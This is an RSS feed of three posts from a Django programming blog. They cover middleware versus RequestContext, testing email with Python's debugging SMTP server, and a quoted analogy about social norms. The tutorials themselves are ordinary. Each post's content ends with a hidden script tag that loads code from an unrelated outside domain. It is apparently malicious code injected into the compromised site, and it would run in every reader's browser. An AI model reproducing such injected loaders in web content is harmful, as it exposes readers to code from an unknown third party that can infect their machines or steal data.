<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; django</title>
	<atom:link href="http://jboxer.com/tag/django/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Django Middleware vs. Context Processors</title>
		<link>http://jboxer.com/2009/05/django-middleware-vs-context-processors/</link>
		<comments>http://jboxer.com/2009/05/django-middleware-vs-context-processors/#comments</comments>
		<pubDate>Tue, 19 May 2009 00:32:36 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[context processors]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[middleware]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=193</guid>
		<description><![CDATA[This may be old news to many people, but it&#8217;s something I just recently learned (after doing it wrong for about nine months), so I figured someone else may be able to benefit from my mistakes. For a long time, when I needed to access the currently logged-in user in one of my Django views, [...]]]></description>
			<content:encoded><![CDATA[<p>This may be old news to many people, but it&#8217;s something I just recently learned (after doing it wrong for about nine months), so I figured someone else may be able to benefit from my mistakes.</p>
<p>For a long time, when I needed to access the currently logged-in user in one of my Django views, they would follow this pattern:</p>
<pre class="brush: python;">from django.template import RequestContext

# some other view code

def my_view (request, obj_id):
    context = RequestContext(request)
    obj     = get_object_or_404(SomeModel, pk=int(obj_id))

    # do some stuff, including:
    some_function(context[&quot;user&quot;])

    return render_to_response(&quot;some_url_name&quot;, {&quot;some_var&quot;: some_val},
        context_instance=context)</pre>
<p>Now, seasoned Django vets (why are you reading this post, by the way?) are probably laughing, but this seemed perfectly fine to me.  Luckily, my ignorance was revealed to me while asking on IRC about a problem which, while didn&#8217;t seem so at the time, was completely tied to my misuse of RequestContext.</p>
<p>To put it simply, context processors are made to be used in templates. The only time they should ever be instantiated is at the very end of a view, like so:</p>
<pre class="brush: python;">return render_to_response(&quot;some_url_name&quot;, {&quot;some_var&quot;: some_val},
    context_instance=RequestContext(request))</pre>
<p>I was using them all over views, and even in a few of my decorators. What&#8217;s wrong with this? The main thing is, certain mutation functions are sometimes performed when a RequestContext is instantiated (such as user.get_and_delete_messages(), which gets all of a user&#8217;s messages from the database and then deletes them), and performing them multiple times before loading the template can cause unexpected results.  In my example, I was instantiating a RequestContext in a bunch of decorators, which meant that by the time my template was loaded, all of the user&#8217;s messages were deleted (and stored in an earlier instance of RequestContext), making it look to me as if my auth messages were being thrown out.</p>
<p>What&#8217;s the solution? Middleware. Middleware allows the programmer to attach variables to the request object before it reaches the view. With this (and the provided django.contrib.auth.middleware.AuthenticationMiddleware), I can still achieve my original goal (accessing the logged-in user from a view), but now I can do it without creating a RequestContext and potentially running mutation functions multiple times:</p>
<pre class="brush: python;">from django.template import RequestContext

# some other view code

def my_view (request, obj_id):
    obj     = get_object_or_404(SomeModel, pk=int(obj_id))

    # do some stuff, including:
    some_function(request.user)

    return render_to_response(&quot;some_url_name&quot;, {&quot;some_var&quot;: some_val},
        context_instance=RequestContext(request))</pre>
<p>I&#8217;ve removed all the references to RequestContext from my decorators, and made sure to only instantiate it at the very end of views. Now, messages work perfectly. I&#8217;ve even written my own middleware (which you can learn how to do <a href="http://docs.djangoproject.com/en/dev/topics/http/middleware/">here</a>) to load instances of a few of my own models into the request.</p>
<p>To reiterate, I&#8217;m aware that this is common knowledge for many people, but it took me 9 months of moderate Django use and embarrassment on IRC to discover it for myself. Hopefully, this will help someone else in a similar position.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/05/django-middleware-vs-context-processors/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Non-painful email on Django development servers</title>
		<link>http://jboxer.com/2009/05/non-painful-email-on-django-development-servers/</link>
		<comments>http://jboxer.com/2009/05/non-painful-email-on-django-development-servers/#comments</comments>
		<pubDate>Tue, 05 May 2009 21:05:56 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=187</guid>
		<description><![CDATA[I&#8217;ve been actively learning and using Django since August 2008, and I&#8217;ve loved almost every bit of it. There are plenty of places to read all about the virtues of Django, so I&#8217;ll leave that out for now. One thing that&#8217;s always bugged me about web development in general is the sending of emails. I [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been actively learning and using Django since August 2008, and I&#8217;ve loved almost every bit of it. There are plenty of places to read all about the virtues of Django, so I&#8217;ll leave that out for now.</p>
<p>One thing that&#8217;s always bugged me about web development in general is the sending of emails. I do development on my local computer (with a badly set up Apache / MySQL / PHP / Python / whatever else stack), and I&#8217;ve never felt like dealing with the headache of setting up a mail server. This means, when I add something that&#8217;s supposed to send an email (like an activation email after registration), I have to get very hacky to test and debug it (making sure the email text is being produced correctly, making sure it&#8217;s being sent to and from the right people, etc.).</p>
<p>This was one of the few web development pains that I thought Django didn&#8217;t solve. Whenever I&#8217;d test a bit of code that was supposed to send email, I&#8217;d get a &#8220;Connection refused&#8221; error page (meaning my computer has no mail server to send the email with). I would usually add in a bit of printf debugging to make sure the subject and body had the correct text, but beyond that, I&#8217;d usually wait to test the email portions until I uploaded to a server that could send email (usually the production server, unfortunately).</p>
<p>Yesterday, I bumped into <a href="http://docs.djangoproject.com/en/dev/topics/email/#testing-e-mail-sending">a little section in the Django documentation that explains how to get around this</a>. As usual, Python has all the solutions. First, set this code in your settings.py file:</p>
<pre class="brush: python;">EMAIL_HOST = 'localhost'
EMAIL_PORT = 1025 # replace this with some free port number on your machine</pre>
<p>Then, assuming you&#8217;re on a Unix system (I&#8217;m on a Mac), run the following on the command line to start a &#8220;dumb&#8221; Python mailserver:</p>
<pre class="brush: bash;">python -m smtpd -n -c DebuggingServer localhost:1025</pre>
<p>Make sure to replace 1025 with whatever you filled in for EMAIL_PORT.</p>
<p>Now, try running the email-sending code in your Python application. Voila! No error pages (or at least, none related to email), and the full text of the email (headers and all) appears in whatever command line prompt you ran the dumb mailserver on. This allows you to the see senders, recipients, subject, and body of the email being sent out, all without getting hacky or sending to an email account you own.</p>
<p>Taking this a step further, I created a small bash script called &#8220;dumbmail&#8221; in /usr/local/bin that looks like the following:</p>
<pre class="brush: bash;">#!/usr/bin/env bash
if [ -z $1 ]
then port=1025
else port=$1
fi

echo &quot;Starting dumb mail server on localhost:$port&quot;
python -m smtpd -n -c DebuggingServer localhost:$port</pre>
<p>Now, when I&#8217;m testing a Django application and I get to a section that is going to send an email, I just run &#8220;dumbmail&#8221; (or &#8220;dumbmail some_number&#8221; if I need to use a different port, for some reason I can&#8217;t imagine), and I&#8217;m ready to go.</p>
<p>Hope this helps people. The documentation was always there &#8211; I just never noticed that part until yesterday.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2009/05/non-painful-email-on-django-development-servers/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Great Analogy for Entrenched Social Norms</title>
		<link>http://jboxer.com/2008/12/great-analogy-for-entrenched-social-norms/</link>
		<comments>http://jboxer.com/2008/12/great-analogy-for-entrenched-social-norms/#comments</comments>
		<pubDate>Tue, 09 Dec 2008 03:07:59 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[quote]]></category>

		<guid isPermaLink="false">http://terrorist-fist-jab.com/?p=82</guid>
		<description><![CDATA[I&#8217;m stealing this analogy from a blog post by core Django contributor James Bennett. I think it&#8217;s brilliant: There&#8217;s an old joke, so old that I don&#8217;t even know for certain where it originated, that&#8217;s often used to explain why big corporations do things the way they do. It involves some monkeys, a cage, a [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m stealing this analogy from <a href="http://www.b-list.org/weblog/2008/dec/05/python-3000/">a blog post</a> by core <a href="http://www.djangoproject.org">Django</a> contributor <a href="http://www.b-list.org/about/">James Bennett</a>.  I think it&#8217;s brilliant:</p>
<blockquote><p>
There&#8217;s an old joke, so old that I don&#8217;t even know for certain where it originated, that&#8217;s often used to explain why big corporations do things the way they do. It involves some monkeys, a cage, a banana and a fire hose.</p>
<p>You build a nice big room-sized cage, and in one end of it you put five monkeys. In the other end you put the banana. Then you stand by with the fire hose. Sooner or later one of the monkeys is going to go after the banana, and when it does you turn on the fire hose and spray the other monkeys with it. Replace the banana if needed, then repeat the process. Monkeys are pretty smart, so they&#8217;ll figure this out pretty quickly: &#8220;If anybody goes for the banana, the rest of us get the hose.&#8221; Soon they&#8217;ll attack any member of their group who tries to go to the banana.</p>
<p>Once this happens, you take one monkey out of the cage and bring in a new one. The new monkey will come in, try to make friends, then probably go for the banana. And the other monkeys, knowing what this means, will attack him to stop you from using the hose on them. Eventually the new monkey will get the message, and will even start joining in on the attack if somebody else goes for the banana. Once this happens, take another of the original monkeys out of the cage and bring in another new monkey.</p>
<p>After repeating this a few times, there will come a moment when none of the monkeys in the cage have ever been sprayed by the fire hose; in fact, they&#8217;ll never even have seen the hose. But they&#8217;ll attack any monkey who goes to get the banana. If the monkeys could speak English, and if you could ask them why they attack anyone who goes for the banana, their answer would almost certainly be: &#8220;Well, I don&#8217;t really know, but that&#8217;s how we&#8217;ve always done things around here.&#8221;
</p></blockquote>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2008/12/great-analogy-for-entrenched-social-norms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
